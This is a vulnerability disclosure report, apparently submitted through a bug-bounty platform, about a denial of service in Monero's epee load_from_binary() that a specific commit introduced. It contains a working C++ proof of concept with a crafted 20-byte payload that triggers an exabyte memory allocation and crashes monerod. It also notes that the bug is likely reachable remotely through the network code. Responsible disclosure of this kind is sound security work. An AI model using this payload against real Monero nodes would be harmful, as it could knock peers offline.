Monero · Report #506498
(remote) exabyte allocation via load_from_binary() (DoS)
How it was found
Changes introduced in commit b82efa32e can result in a denial of service if epee::serialization::portable_storage::load_from_binary() is called with untrusted data.
The 'reserve' method implemented here: https://github.com/monero-project/monero/commit/b82efa32e771f653c5e49165b0659c67e2db3438#diff-8de201c60a8c7a3a0a4c2e15f2c0939bR75
will attempt to allocate about 4 exabytes of memory when you run the following code:
#include <serialization/keyvalue_serialization.h>
#include <storages/portable_storage_template_helper.h>
#include <storages/portable_storage_base.h>
#include <p2p/p2p_protocol_defs.h>
#include <p2p/net_node.h>
int main(void)
{
unsigned char payload[] = {
0x01, 0x11, 0x01, 0x01, 0x01, 0x01, 0x02, 0x01, 0x01, 0x08, 0x00, 0x84,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
const std::string s(payload, payload + 20);
epee::serialization::portable_storage ps;
ps.load_from_binary(s);
}
Although I haven't yet constructed a proof of concept against a live Monero instance, this can probably achieved by a remote attacker because the load_from_binary call occurs several times in the network code in contrib/epee/include/storages/levin_abstract_invoke2.h.
Please let me know if this is sufficient, or that you require proof of concept code that can be used against peers on the network.
Impact
Crash monerod